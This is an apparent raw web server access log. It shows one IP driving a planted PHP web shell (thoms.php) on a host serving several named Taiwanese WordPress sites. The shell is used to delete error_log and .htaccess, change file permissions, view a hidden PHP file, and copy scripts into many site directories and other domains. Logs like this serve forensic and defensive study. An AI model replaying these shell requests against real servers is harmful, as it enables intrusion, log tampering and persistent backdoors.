45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?del=error_log&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13999 "http://163.245.207.76:443/thoms.php?del=error_log&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.484325810624833.php HTTP/1.1" 200 12386 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&view=.484325810624833.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /bestjudy.com.tw/upgrade/.484325810624833.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11496 "http://163.245.207.76:443/thoms.php?chmod=admin.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?del=.htaccess&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13769 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fupgrade&settings=1 HTTP/1.1" 200 11925 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fupgrade&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 13771 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?edit=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 19833 "http://163.245.207.76:443/thoms.php?edit=license.txt&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?edit=license.txt&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 23487 "http://163.245.207.76:443/thoms.php?edit=license.txt&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:11 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11390 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11360 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p= HTTP/1.1" 200 12395 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18123 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18132 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11349 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11418 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11447 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11857 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11347 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flocoy.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18117 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11353 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:12 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18365 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11321 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12392 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11395 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11350 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11855 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-activate.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?edit=wp-comments-post.php&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 16359 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?edit=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 12788 "http://163.245.207.76:443/thoms.php?edit=wp-comments-post.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?edit=readme.html&env=ace&p=bestjudy.com.tw HTTP/1.1" 200 18606 "http://163.245.207.76:443/thoms.php?edit=readme.html&env=ace&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?edit=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 14983 "http://163.245.207.76:443/thoms.php?edit=readme.html&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&finish=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:13 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 11459 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p= HTTP/1.1" 200 12432 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18486 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 200 11398 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 200 11356 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 11354 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 18476 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config-sample.php&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22605 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bfl.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=upgrade HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:14 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wp-content HTTP/1.1" 200 11405 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bestzyx.com.tw HTTP/1.1" 200 11421 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=booking-wise2.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=beauty-dental.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=beauty-dental.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&finish=1&move=1&p= HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22662 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=besth2o.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=big-wife.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=biotaiwan.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17510 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:39:15 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17507 "https://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fstatic-plugins&p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
